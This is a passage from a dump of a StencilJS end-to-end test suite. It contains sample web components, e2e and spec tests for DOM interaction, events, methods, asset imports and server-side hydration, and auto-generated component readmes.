.tap');\n\n    expect(button).toEqualText(`Tap`);\n\n    await button.tap();\n\n    expect(button).toEqualText(`Was Tapped`);\n  });\n\n  it('should use press() to enter text in an input in the shadow root', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-interaction></dom-interaction>\n    `,\n    });\n\n    const input = await page.find('dom-interaction >>> .input');\n\n    let value = await input.getProperty('value');\n    expect(value).toBe('');\n\n    await input.press('8');\n    await input.press('8');\n    await input.press(' ');\n\n    await page.keyboard.down('Shift');\n    await input.press('KeyM');\n    await input.press('KeyP');\n    await input.press('KeyH');\n    await page.keyboard.up('Shift');\n\n    value = await input.getProperty('value');\n    expect(value).toBe('88 MPH');\n  });\n\n  it('should use type() to enter text in an input in the shadow root', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-interaction></dom-interaction>\n    `,\n    });\n\n    const input = await page.find('dom-interaction >>> .input');\n\n    let value = await input.getProperty('value');\n    expect(value).toBe('');\n\n    await input.type('88 MPH');\n\n    value = await input.getProperty('value');\n    expect(value).toBe('88 MPH');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/dom-interaction/dom-interaction.tsx",
    "content": "import { Component, State, h } from '@stencil/core';\n\n@Component({\n  tag: 'dom-interaction',\n  shadow: true,\n})\nexport class DomInteractionCmp {\n  @State() clickMsg = 'Click';\n  @State() focusMsg = 'Focus';\n  @State() tapMsg = 'Tap';\n\n  render() {\n    return (\n      <div>\n        <section>\n          <button onClick={() => (this.clickMsg = 'Was Clicked')} class=\"click\">\n            {this.clickMsg}\n          </button>\n        </section>\n        <section>\n          <button onFocus={() => (this.focusMsg = 'Has Focus')} class=\"focus\">\n            {this.focusMsg}\n          </button>\n        </section>\n        <section>\n          <button onClick={() => (this.tapMsg = 'Was Tapped')} class=\"tap\">\n            {this.tapMsg}\n          </button>\n        </section>\n        <section>\n          <input class=\"input\" />\n        </section>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/dom-interaction/readme.md",
    "content": "# dom-interaction\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/dom-visible/dom-visible.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('dom visible e2e tests', () => {\n  it('isVisible()', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-visible></dom-visible>\n    `,\n    });\n\n    const article = await page.find('article');\n    let isVisible = await article.isVisible();\n    expect(isVisible).toBe(false);\n\n    const elm = await page.find('button');\n    await elm.click();\n\n    isVisible = await article.isVisible();\n    expect(isVisible).toBe(true);\n  });\n\n  it('waitForVisible()', async () => {\n    const page = await newE2EPage({\n      html: `\n      <dom-visible></dom-visible>\n    `,\n    });\n\n    const article = await page.find('article');\n\n    const untilVisible = article.waitForVisible();\n\n    let isVisible = await article.isVisible();\n    expect(isVisible).toBe(false);\n\n    const elm = await page.find('button');\n    await elm.click();\n\n    await untilVisible;\n\n    isVisible = await article.isVisible();\n    expect(isVisible).toBe(true);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/dom-visible/dom-visible.tsx",
    "content": "import { Component, State, h } from '@stencil/core';\n\n@Component({\n  tag: 'dom-visible',\n})\nexport class DomVisibleCmp {\n  @State() hideArticle = true;\n\n  render() {\n    return (\n      <section>\n        <button onClick={() => (this.hideArticle = !this.hideArticle)}>\n          {this.hideArticle ? 'Show' : 'Hide'} Article\n        </button>\n        <article hidden={this.hideArticle}>\n          <h1>ARTICLE!!</h1>\n        </article>\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/dom-visible/readme.md",
    "content": "# dom-visible\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/element-cmp/element-cmp.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('@Element', () => {\n  it('should read the host elements attribute', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      html: `\n      <element-cmp host-element-attr=\"Marty McFly\"></element-cmp>\n    `,\n    });\n\n    // with page.find() select the \"element-cmp\" element (uses querySelector)\n    const elm = await page.find('element-cmp');\n    expect(elm).toEqualText('Hello, my name is Marty McFly');\n  });\n\n  it('should correctly expect attrs and classes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <element-cmp data-attr1=\"a\" data-attr2=\"b\" class=\"class1 class2\"></element-cmp>\n    `,\n    });\n\n    const elm = await page.find('element-cmp');\n\n    expect(elm).toHaveAttribute('data-attr1');\n    expect(elm).not.toHaveAttribute('data-attr3');\n\n    expect(elm).toEqualAttribute('data-attr2', 'b');\n    expect(elm).not.toEqualAttribute('data-attr2', 'c');\n\n    expect(elm).toHaveClass('class1');\n    expect(elm).not.toHaveClass('class3');\n  });\n\n  it('should set innerHTML', async () => {\n    const page = await newE2EPage({\n      html: `\n      <element-cmp id=\"my-elm\"></element-cmp>\n    `,\n    });\n\n    const elm = await page.find('#my-elm');\n\n    elm.innerHTML = '<div>inner content</div>';\n\n    await page.waitForChanges();\n\n    expect(elm).toEqualHtml(`\n      <element-cmp id=\"my-elm\" custom-hydrate-flag=\"\">\n        <div>\n          inner content\n        </div>\n      </element-cmp>\n    `);\n\n    expect(elm).toEqualText('inner content');\n  });\n\n  it('should get computed styles of CSS vars assigned on host element', async () => {\n    const page = await newE2EPage({\n      html: `\n      <element-cmp id=\"my-elm\" style=\"--my-component-text-color: rgb(255, 0, 0);\"></element-cmp>\n    `,\n    });\n    const el = await page.find('element-cmp');\n    expect((await el.getComputedStyle()).getPropertyValue('--my-component-text-color')).toEqual('rgb(255, 0, 0)');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/element-cmp/element-cmp.tsx",
    "content": "import { Component, Element, h } from '@stencil/core';\n\n@Component({\n  tag: 'element-cmp',\n})\nexport class ElementCmp {\n  @Element() element: HTMLElement;\n\n  hostElementAttr = '';\n\n  componentWillLoad() {\n    this.hostElementAttr = this.element.getAttribute('host-element-attr');\n  }\n\n  render() {\n    return <div>Hello, my name is {this.hostElementAttr}</div>;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/element-cmp/readme.md",
    "content": "# element-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/env-data/env-data.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('build-data e2e', () => {\n  it('should navigate to the index.html page w/out url searchParams', async () => {\n    // create a new puppeteer page\n    // and go to the root webpage\n    const page = await newE2EPage({\n      html: `<build-data></build-data>`,\n    });\n    const element = await page.find('build-data');\n    expect(element).toEqualHtml(`\n      <build-data custom-hydrate-flag=\"\">\n        <p>isDev: true</p>\n        <p>isBrowser: true</p>\n        <p>isTesting: true</p>\n      </build-data>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/env-data/env-data.spec.ts",
    "content": "import { EnvData } from './env-data';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('env-data', () => {\n  it('should be a test', async () => {\n    const { root } = await newSpecPage({\n      components: [EnvData],\n      html: `<env-data></env-data>`,\n    });\n    expect(root).toEqualHtml(`\n      <env-data>\n        <p>foo: bar</p>\n        <p>HOST: example.com</p>\n      </env-data>\n    `);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/env-data/env-data.tsx",
    "content": "import { Component, h, Env, Host } from '@stencil/core';\n\n@Component({\n  tag: 'env-data',\n})\nexport class EnvData {\n  render() {\n    return (\n      <Host>\n        <p>foo: {Env.foo}</p>\n        <p>HOST: {Env.HOST}</p>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/env-data/readme.md",
    "content": "# env-data\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/event-cmp/event-cmp.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('@Event', () => {\n  it('should fire custom event on window', async () => {\n    // create a new puppeteer page\n    // and load the page with html content\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    // select the \"event-cmp\" element within the page (same as querySelector)\n    const elm = await page.find('event-cmp');\n\n    // add an event listener on window BEFORE we fire off the event\n    const eventSpy = await elm.spyOnEvent('myWindowEvent');\n\n    // call the component's \"methodThatFiresMyWindowEvent()\" method\n    // when calling the method it is executing it within the browser's context\n    // we're using the @Method here to manually trigger an event from the component for testing\n    await elm.callMethod('methodThatFiresMyWindowEvent', 88);\n\n    const receivedEvent = eventSpy.lastEvent;\n\n    // the event has been received, test we have the correct values\n    expect(receivedEvent.bubbles).toEqual(true);\n    expect(receivedEvent.cancelBubble).toEqual(false);\n    expect(receivedEvent.cancelable).toEqual(true);\n    expect(receivedEvent.composed).toEqual(true);\n    expect(receivedEvent.defaultPrevented).toEqual(false);\n    expect(receivedEvent.detail).toEqual(88);\n    expect(receivedEvent.isTrusted).toEqual(false);\n    expect(receivedEvent.returnValue).toEqual(true);\n    expect(receivedEvent.timeStamp).toBeDefined();\n    expect(receivedEvent.type).toEqual('myWindowEvent');\n  });\n\n  it('should fire custom event on document', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const elm = await page.find('event-cmp');\n    const elmEventSpy = await elm.spyOnEvent('myDocumentEvent');\n\n    await elm.callMethod('methodThatFiresMyDocumentEvent');\n\n    const receivedEvent = elmEventSpy.lastEvent;\n\n    expect(receivedEvent.bubbles).toEqual(true);\n    expect(receivedEvent.cancelBubble).toEqual(false);\n    expect(receivedEvent.cancelable).toEqual(true);\n    expect(receivedEvent.composed).toEqual(true);\n    expect(receivedEvent.defaultPrevented).toEqual(false);\n    expect(receivedEvent.detail).toEqual(null);\n    expect(receivedEvent.isTrusted).toEqual(false);\n    expect(receivedEvent.returnValue).toEqual(true);\n    expect(receivedEvent.timeStamp).toBeDefined();\n  });\n\n  it('should fire custom event w/ no options', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const elm = await page.find('event-cmp');\n    const elmEventSpy = await elm.spyOnEvent('my-event-with-options');\n\n    await elm.callMethod('methodThatFiresEventWithOptions', 88);\n\n    expect(elmEventSpy).toHaveReceivedEventTimes(1);\n\n    const receivedEvent = elmEventSpy.lastEvent;\n\n    expect(receivedEvent.bubbles).toBe(false);\n    expect(receivedEvent.cancelable).toBe(false);\n    expect(receivedEvent.detail).toEqual({ mph: 88 });\n  });\n\n  it('spyOnEvent, toHaveReceivedEventTimes', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const elm = await page.find('event-cmp');\n    const elmEventSpy = await elm.spyOnEvent('my-event-with-options');\n\n    await elm.callMethod('methodThatFiresEventWithOptions', 80);\n    await elm.callMethod('methodThatFiresEventWithOptions', 90);\n    await elm.callMethod('methodThatFiresEventWithOptions', 100);\n\n    expect(elmEventSpy).toHaveReceivedEventTimes(3);\n    expect(elmEventSpy).toHaveFirstReceivedEventDetail({ mph: 80 });\n    expect(elmEventSpy).toHaveLastReceivedEventDetail({ mph: 100 });\n  });\n\n  it('element spyOnEvent', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const elm = await page.find('event-cmp');\n    const elmEventSpy = await elm.spyOnEvent('my-event-with-options');\n\n    expect(elmEventSpy).not.toHaveReceivedEvent();\n\n    await elm.callMethod('methodThatFiresEventWithOptions', 88);\n\n    await page.waitForChanges();\n\n    expect(elmEventSpy).toHaveReceivedEvent();\n  });\n\n  it('page spyOnEvent, default window', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const eventSpy = await page.spyOnEvent('someEvent');\n\n    const elm = await page.find('event-cmp');\n    await elm.triggerEvent('someEvent', { detail: 88 });\n\n    await page.waitForChanges();\n\n    expect(eventSpy).toHaveReceivedEventDetail(88);\n  });\n\n  it('page spyOnEvent, set document selector', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    const eventSpy = await page.spyOnEvent('someEvent', 'document');\n\n    const elm = await page.find('event-cmp');\n    await elm.triggerEvent('someEvent', { detail: 88 });\n\n    await page.waitForChanges();\n\n    expect(eventSpy).toHaveReceivedEventDetail(88);\n  });\n\n  it('page waitForEvent', async () => {\n    const page = await newE2EPage({\n      html: `\n      <event-cmp></event-cmp>\n    `,\n    });\n\n    setTimeout(async () => {\n      const elm = await page.find('event-cmp');\n      await elm.triggerEvent('someEvent', { detail: 88 });\n      await page.waitForChanges();\n    }, 100);\n\n    const ev = await page.waitForEvent('someEvent');\n\n    expect(ev.type).toBe('someEvent');\n    expect(ev.detail).toBe(88);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/event-cmp/event-cmp.tsx",
    "content": "import { Component, Event, EventEmitter, Method } from '@stencil/core';\n\n@Component({\n  tag: 'event-cmp',\n})\nexport class EventCmp {\n  @Event() myDocumentEvent: EventEmitter<any>;\n\n  @Event({\n    eventName: 'my-event-with-options',\n    bubbles: false,\n    cancelable: false,\n  })\n  myEventWithOptions: EventEmitter<{ mph: number }>;\n\n  @Event() myWindowEvent: EventEmitter<number>;\n\n  /**\n   * this is some method that fires a window event\n   * @param value some value\n   * @returns {void}\n   */\n  @Method()\n  async methodThatFiresMyWindowEvent(value: number) {\n    this.myWindowEvent.emit(value);\n  }\n\n  /**\n   * this is some method that fires a document event\n   * @returns {void}\n   */\n  @Method()\n  async methodThatFiresMyDocumentEvent() {\n    this.myDocumentEvent.emit();\n  }\n\n  /**\n   * this is some method that fires an event with options\n   * @param mph some value\n   * @returns {void}\n   */\n  @Method()\n  async methodThatFiresEventWithOptions(mph: number) {\n    this.myEventWithOptions.emit({ mph });\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/event-cmp/readme.md",
    "content": "# event-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Events\n\n| Event                   | Description | Type                            |\n| ----------------------- | ----------- | ------------------------------- |\n| `my-event-with-options` |             | `CustomEvent<{ mph: number; }>` |\n| `myDocumentEvent`       |             | `CustomEvent<any>`              |\n| `myWindowEvent`         |             | `CustomEvent<number>`           |\n\n\n## Methods\n\n### `methodThatFiresEventWithOptions(mph: number) => Promise<void>`\n\nthis is some method that fires an event with options\n\n#### Parameters\n\n| Name  | Type     | Description |\n| ----- | -------- | ----------- |\n| `mph` | `number` | some value  |\n\n#### Returns\n\nType: `Promise<void>`\n\n\n\n### `methodThatFiresMyDocumentEvent() => Promise<void>`\n\nthis is some method that fires a document event\n\n#### Returns\n\nType: `Promise<void>`\n\n\n\n### `methodThatFiresMyWindowEvent(value: number) => Promise<void>`\n\nthis is some method that fires a window event\n\n#### Parameters\n\n| Name    | Type     | Description |\n| ------- | -------- | ----------- |\n| `value` | `number` | some value  |\n\n#### Returns\n\nType: `Promise<void>`\n\n\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/global.css",
    "content": "\napp-root {\n  display: block;\n  margin: 10px;\n  padding: 20px;\n  border: 5px dotted red;\n}\n"
  },
  {
    "path": "test/end-to-end/src/global.ts",
    "content": "import { setMode } from '@stencil/core';\n\nexport default function () {\n  setMode((elm) => {\n    return elm.getAttribute('mode');\n  });\n}\n"
  },
  {
    "path": "test/end-to-end/src/hydrate-props/hydrate-props.e2e.ts",
    "content": "// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('different types of decorated properties and states render on both server and client', () => {\n  beforeAll(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('../../hydrate');\n    renderToString = mod.renderToString;\n  });\n\n  it('renders default values', async () => {\n    const { html } = await renderToString(\n      `\n      <my-cmp foo-prop=\"foo1\" bar-prop=\"bar1\"></my-cmp>\n      <my-cmp fooProp=\"foo2\" barProp=\"bar2\"></my-cmp>\n    `,\n      {\n        fullDocument: false,\n      },\n    );\n    // html template renders kebab case props\n    expect(html).toContain('<!--t.1.1.1.0-->foo1 - bar1<');\n    // html template doesn't support camelcase\n    expect(html).toContain('<!--t.4.1.1.0--> - bar<');\n    // jsx template renders kebab case\n    expect(html).toContain('<!--t.2.1.1.0-->foo3 - bar3<');\n    expect(html).toContain('<!--t.5.1.1.0-->foo3 - bar3<');\n    // jsx template renders camel case\n    expect(html).toContain('<!--t.3.1.1.0-->foo4 - bar4<');\n    expect(html).toContain('<!--t.6.1.1.0-->foo4 - bar4<');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/hydrate-props/my-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n/**\n * @virtualProp mode - Mode\n */\n@Component({\n  tag: 'my-cmp',\n  shadow: true,\n})\nexport class MyCmp {\n  /**\n   * foo prop\n   */\n  @Prop()\n  fooProp: string;\n\n  /**\n   * bar prop\n   * @returns bar\n   */\n  @Prop()\n  get barProp() {\n    return 'bar';\n  }\n\n  render() {\n    return (\n      <div>\n        {this.fooProp} - {this.barProp}\n        <my-jsx-cmp fooProp=\"foo3\" barProp=\"bar3\"></my-jsx-cmp>\n        <my-jsx-cmp foo-prop=\"foo4\" bar-prop=\"bar4\"></my-jsx-cmp>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/hydrate-props/my-jsx-cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n/**\n * @virtualProp mode - Mode\n */\n@Component({\n  tag: 'my-jsx-cmp',\n  shadow: true,\n})\nexport class MyJsxCmp {\n  /**\n   * foo prop\n   */\n  @Prop()\n  fooProp: string;\n\n  /**\n   * bar prop\n   * @returns bar\n   */\n  @Prop()\n  get barProp() {\n    return 'bar';\n  }\n\n  render() {\n    return (\n      <div>\n        {this.fooProp} - {this.barProp}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/hydrate-props/readme.md",
    "content": "# hydrate-props\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property  | Attribute  | Description | Type     | Default     |\n| --------- | ---------- | ----------- | -------- | ----------- |\n| `barProp` | `bar-prop` | bar prop    | `string` | `'bar'`     |\n| `fooProp` | `foo-prop` | foo prop    | `string` | `undefined` |\n| `mode`    | `mode`     | Mode        | `any`    | `undefined` |\n\n\n## Dependencies\n\n### Used by\n\n - [my-cmp](.)\n\n### Graph\n```mermaid\ngraph TD;\n  my-cmp --> my-jsx-cmp\n  style my-jsx-cmp fill:#f9f,stroke:#333,stroke-width:4px\n```\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/import-assets/assets/my-text.txt",
    "content": "My .txt File"
  },
  {
    "path": "test/end-to-end/src/import-assets/assets/whatever.html",
    "content": "<whatever></whatever>\n"
  },
  {
    "path": "test/end-to-end/src/import-assets/import-assets.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('import assets', () => {\n  it('should import .txt file', async () => {\n    const page = await newE2EPage({\n      html: '<import-assets></import-assets',\n    });\n\n    const txt = await page.find('#txt');\n    expect(txt.textContent.trim()).toBe('My .txt File');\n\n    const whateverHtml = await page.find('#whatever-html');\n    expect(whateverHtml.textContent.trim()).toBe('<whatever></whatever>');\n\n    const ionicSvgUrl: HTMLImageElement = (await page.find('#ionic-svg-url')) as any;\n    expect(ionicSvgUrl.getAttribute('src')).toContain('data:image/svg+xml;base64,');\n\n    const ionicSvgText = await page.find('#ionic-svg-text');\n    expect(ionicSvgText.textContent).toContain('<svg xmlns=');\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/import-assets/import-assets.tsx",
    "content": "import { Component, Host, h } from '@stencil/core';\nimport myText from './assets/my-text.txt';\nimport whateverHtml from './assets/whatever.html?format=text';\nimport ionicSvgUrl from './assets/ionic.svg';\nimport ionicSvgText from './assets/ionic.svg?format=text';\n\n@Component({\n  tag: 'import-assets',\n})\nexport class AppRoot {\n  render() {\n    return (\n      <Host>\n        <div id=\"txt\">{myText}</div>\n        <div id=\"whatever-html\">{whateverHtml}</div>\n        <img id=\"ionic-svg-url\" src={ionicSvgUrl} />\n        <div id=\"ionic-svg-text\">{ionicSvgText}</div>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/import-assets/readme.md",
    "content": "# import-assets\n\n\n\n<!-- Auto Generated Below -->\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/index.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>E2E</title>\n    <link rel=\"stylesheet\" href=\"/linaria.css\" />\n    <link rel=\"stylesheet\" href=\"/build/endtoend.css\" />\n    <script type=\"module\" src=\"/build/endtoend.esm.js\"></script>\n    <script nomodule src=\"/build/endtoend.js\"></script>\n  </head>\n  <body>\n    <app-root></app-root>\n  </body>\n</html>\n"
  },
  {
    "path": "test/end-to-end/src/listen-cmp/listen-cmp.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('@Listen', () => {\n  it('host listener toggles \"opened\" from \"click\" event', async () => {\n    // create a new puppeteer page\n    const page = await newE2EPage({\n      html: `\n      <listen-cmp></listen-cmp>\n    `,\n    });\n\n    // select the \"event-cmp\" element within the page (same as querySelector)\n    // and return the value from the component's \"opened\" @Prop\n    const elm = await page.find('listen-cmp');\n\n    // we just made a change and now the async queue need to process it\n    // make sure the queue does its work before we continue\n    await page.waitForChanges();\n\n    // test that the value we got from the element's \"opened\" property is correct\n    expect(await elm.getProperty('opened')).toEqual(false);\n\n    // simulated \"click\" event triggered from the element\n    await elm.triggerEvent('click');\n\n    // apply our changes and wait for updates\n    await page.waitForChanges();\n\n    // test that the event that we manually dispatched correctly\n    // triggered the component's @Listen('click') handler which\n    // in this test should have changed the \"opened\" value to true\n    expect(await elm.getProperty('opened')).toEqual(true);\n\n    // let's do it again!\n    await elm.triggerEvent('click');\n\n    await page.waitForChanges();\n\n    // let's get the value of \"opened\" again\n    expect(await elm.getProperty('opened')).toEqual(false);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/listen-cmp/listen-cmp.tsx",
    "content": "import { Component, Listen, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'listen-cmp',\n})\nexport class ListenCmp {\n  @Prop({ mutable: true }) opened = false;\n\n  @Listen('click')\n  handleClick() {\n    this.opened = !this.opened;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/listen-cmp/readme.md",
    "content": "# listen-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property | Attribute | Description | Type      | Default |\n| -------- | --------- | ----------- | --------- | ------- |\n| `opened` | `opened`  |             | `boolean` | `false` |\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/method-cmp/method-cmp.e2e.ts",
    "content": "import { newE2EPage } from '@stencil/core/testing';\n\ndescribe('@Method', () => {\n  it('should pass method args', async () => {\n    const page = await newE2EPage({\n      html: `\n      <method-cmp></method-cmp>\n    `,\n    });\n\n    const elm = await page.find('method-cmp');\n\n    const methodRtnValue = await elm.callMethod('someMethodWithArgs', 'mph', 88);\n\n    expect(methodRtnValue).toBe(`88 mph`);\n  });\n\n  it('should set property thats used in a method', async () => {\n    const page = await newE2EPage({\n      html: `\n      <method-cmp></method-cmp>\n    `,\n    });\n\n    const elm = await page.find('method-cmp');\n\n    elm.setProperty('someProp', 88);\n\n    const methodRtnValue = await elm.callMethod('someMethod');\n\n    expect(methodRtnValue).toBe(88);\n  });\n});\n"
  },
  {
    "path": "test/end-to-end/src/method-cmp/method-cmp.tsx",
    "content": "import { Component, Method, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'method-cmp',\n})\nexport class MethodCmp {\n  @Prop() someProp = 0;\n\n  /**\n   * this is some method\n   * @returns {number} some number\n   */\n  @Method()\n  async someMethod() {\n    return this.someProp;\n  }\n\n  /**\n   * this is some method with args\n   * @param unit some unit\n   * @param value some value\n   * @returns {string} some string\n   */\n  @Method()\n  async someMethodWithArgs(unit: string, value: number) {\n    return `${value} ${unit}`;\n  }\n}\n"
  },
  {
    "path": "test/end-to-end/src/method-cmp/readme.md",
    "content": "# method-cmp\n\n\n\n<!-- Auto Generated Below -->\n\n\n## Properties\n\n| Property   | Attribute   | Description | Type     | Default |\n| ---------- | ----------- | ----------- | -------- | ------- |\n| `someProp` | `some-prop` |             | `number` | `0`     |\n\n\n## Methods\n\n### `someMethod() => Promise<number>`\n\nthis is some method\n\n#### Returns\n\nType: `Promise<number>`\n\nsome number\n\n### `someMethodWithArgs(unit: string, value: number) => Promise<string>`\n\nthis is some method with args\n\n#### Parameters\n\n| Name    | Type     | Description |\n| ------- | -------- | ----------- |\n| `unit`  | `string` | some unit   |\n| `value` | `number` | some value  |\n\n#### Returns\n\nType: `Promise<string>`\n\nsome string\n\n\n----------------------------------------------\n\n*Built with [StencilJS](https://stenciljs.com/)*\n"
  },
  {
    "path": "test/end-to-end/src/miscellaneous/renderToString.e2e.ts",
    "content": "import { CarData } from '../car-list/car-data';\n\nconst vento = new CarData('VW', 'Vento', 2024);\nconst beetle = new CarData('VW', 'Beetle', 2023);\n\n// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('renderToString', () => {\n  beforeAll(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('../../hydrate');\n    renderToString = mod.renderToString;\n  });\n\n  it('allows to hydrate whole HTML page', async () => {\n    const { html } = await renderToString(\n      `<html>\n      <head>\n        <link rel=\"stylesheet\" href=\"whatever.css\" >\n      </head>\n\n      <body>\n        <div class=\"__next\">\n          <main>\n            <car-list cars=${JSON.stringify([vento, beetle])}></car-list>\n          </main>\n        </div>\n\n        <script type=\"module\">\n            import { defineCustomElements } from \"./static/loader/index.js\";\n            defineCustomElements().catch(console.error);\n        </script>\n      </body>\n      </html>`,\n      { fullDocument: true, serializeShadowRoot: false },\n    );\n\n    /**\n     * starts with a DocType and HTML tag\n     */\n    expect(html.startsWith('<!doctype html><html ')).toBeTruthy();\n    /**\n     * renders hydration styles and custom link tag within the head tag\n     */\n    expect(html).toContain(\n      '}</style> <link rel=\"stylesheet\" href=\"whatever.css\"> </head> <body> <div class=\"__next\"> <main> <car-list',\n    );\n  });\n\n  it('puts style after preconnect links in the head tag', async () => {\n    const { html } = await renderToString(\n      `<html>\n      <head>\n        <link rel=\"preconnect\" href=\"https://some-url.com\" />\n        <style>\n          .myComponent {\n            display: none;\n          }\n        </style>\n      </head>\n\n      <body>\n        <div class=\"__next\">\n          <main>\n            <scoped-car-list cars=${JSON.stringify([vento, beetle])}></scoped-car-list>\n          </main>\n        </div>\n\n        <script type=\"module\">\n            import { defineCustomElements } from \"./static/loader/index.js\";\n            defineCustomElements().catch(console.error);\n        </script>\n      </body>\n      </html>`,\n      { fullDocument: true, serializeShadowRoot: false },\n    );\n\n    /**\n     * expect the scoped component styles to be injected after the preconnect link\n     */\n    expect(html).toContain(\n      '<link rel=\"preconnect\" href=\"https://some-url.com\"><style sty-id=\"sc-scoped-car-list\">.sc-scoped-car-list-h',\n    );\n    /**\n     * expect the custom style tag to be last in the head tag\n     */\n    expect(html.replaceAll(/\\n[ ]*/g, '')).toContain(\n      `.selected.sc-scoped-car-list{font-weight:bold;background:rgb(255, 255, 210)}</style> <style>.myComponent {display: none;}</style> </head> <body>`,\n    );\n  });\n\n  it('puts styles before any custom styles', async () => {\n    const { html } = await renderToString(\n      `<html>\n      <head>\n        <style>\n          .myComponent {\n            display: none;\n          }\n        </style>\n      </head>\n\n      <body>\n        <div class=\"__next\">\n          <main>\n            <scoped-car-list cars=${JSON.stringify([vento, beetle])}></scoped-car-list>\n          </main>\n        </div>\n\n        <script type=\"module\">\n            import { defineCustomElements } from \"./static/loader/index.js\";\n            defineCustomElements().catch(console.error);\n        </script>\n      </body>\n      </html>`,\n      { fullDocument: true, serializeShadowRoot: false },\n    );\n\n    /**\n     * expect the scoped component styles to be injected before custom styles\n     */\n    expect(html.replaceAll(/\\n[ ]*/g, '')).toContain(\n      '.selected.sc-scoped-car-list{font-weight:bold;background:rgb(255, 255, 210)}</style><style class=\"vjs-styles-defaults\">.video-js {width: 300px;height: 150px;}.vjs-fluid:not(.vjs-audio-only-mode) {padding-top: 56.25%}</style> <style>.myComponent {display: none;}</style> </head>',\n    );\n  });\n\n  it('allows to hydrate whole HTML page with using a scoped component', async () => {\n    const { html } = await renderToString(\n      `<html>\n      <head>\n        <link rel=\"stylesheet\" href=\"whatever.css\" >\n      </head>\n\n      <body>\n        <div class=\"__next\">\n          <main>\n            <scoped-car-list cars=${JSON.stringify([vento, beetle])}></scoped-car-list>\n          </main>\n        </div>\n\n        <script type=\"module\">\n            import { defineCustomElements } from \"./static/loader/index.js\";\n            defineCustomElements().catch(console.error);\n        </script>\n      </body>\n      </html>`,\n      { fullDocument: true, serializeShadowRoot: false },\n    );\n    /**\n     * starts with a DocType and HTML tag\n     */\n    expect(html.startsWith('<!doctype html><html 